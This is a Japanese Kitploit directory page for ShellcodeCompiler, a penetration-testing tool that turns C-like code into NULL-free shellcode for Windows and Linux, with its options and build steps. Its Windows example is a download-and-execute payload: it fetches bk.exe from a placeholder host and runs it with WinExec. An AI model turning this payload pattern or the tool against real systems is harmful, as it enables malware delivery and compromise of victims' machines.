Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ShellcodeCompiler — シェルコードコンパイラ | Kitploit
ツール/GitHubGitHub/nytrorst/shellcodecompiler
エクスプロイトシェルコードシェルコード生成ペイロード開発バイナリエクスプロイト
GitHubnytrorst/shellcodecompiler

ShellcodeCompiler

シェルコードコンパイラ

リポジトリを見る
1.2k2801年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

シェルコードコンパイラ

Shellcode Compilerは、C/C++形式のコードを、Windows(x86およびx64)およびLinux(x86およびx64)向けの、小型で位置独立、NULLフリーのシェルコードにコンパイルするプログラムです。ユーザーフレンドリーな方法で任意のWindows API関数やLinuxシステムコールを呼び出すことが可能です。

Shellcode Compilerはソースファイルを入力として受け取り、独自のコンパイラを使用してコードを解釈し、Keystoneエンジンでアセンブルされるアセンブリファイルを生成します。

コマンドラインオプション

root@kitploit:~
    -h (--help)      : このヘルプメッセージを表示
    -p (--platform)  : シェルコードプラットフォーム: win_x86,win_x64,linux_x86,linux_x64
    -v (--verbose)   : 詳細な出力を表示
    -t (--test)      : 生成されたシェルコードをテスト(実行)
    -r (--read)      : ソースコードファイルを読み込む
    -o (--output)    : 生成されたバイナリシェルコードの出力ファイル
    -a (--assembbly) : 生成されたアセンブリコードの出力ファイル

Windowsの例

root@kitploit:~
    function URLDownloadToFileA("urlmon.dll");
    function WinExec("kernel32.dll");
    function ExitProcess("kernel32.dll");

    URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
    WinExec("bk.exe",0);
    ExitProcess(0);

Linuxの例

root@kitploit:~
    chmod("/root/chmodme",511);
    write(1,"Hello, world",12);
    kill(1661,9);
    getpid();
    execve("/usr/bin/burpsuite",0,0);
    exit(2);

呼び出し例

root@kitploit:~
    ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64
    

制限事項

  1. API呼び出しの戻り値を使用することはできません
  2. ポインタやバッファを使用することはできません
  3. 変数を宣言することはできません

他にも多くの制限が存在します。 これはアルファバージョンです。バグや提案があれば報告してください。

変更履歴

  1. Windows x64の初期サポート
  2. Linux (x86およびx64) シェルコードの初期サポート

Keystone

  1. Keystone Engineのソースコードをダウンロード
  2. Keystone Engineを静的ライブラリとしてコンパイル(Linuxではnmake-lib.sh、Windowsではnmake-lib.batを使用)
  3. Windows: 結果のlibファイルをkeystone-src\build\llvm\lib\keystone.libからShellcodeCompiler\Keystone\keystone_x86.lib (32ビット用) および keystone_x64.lib (64ビット用) にコピー
  4. Linux: 結果のlibファイルをkeystone-src\build\llvm\lib\keystone.libからShellcodeCompiler\Keystone\libkeystone_x86.a (32ビット用) および libkeystone_x64.a (64ビット用) にコピー

著者

Ionut Popescu (@NytroRST)

ツールをダウンロード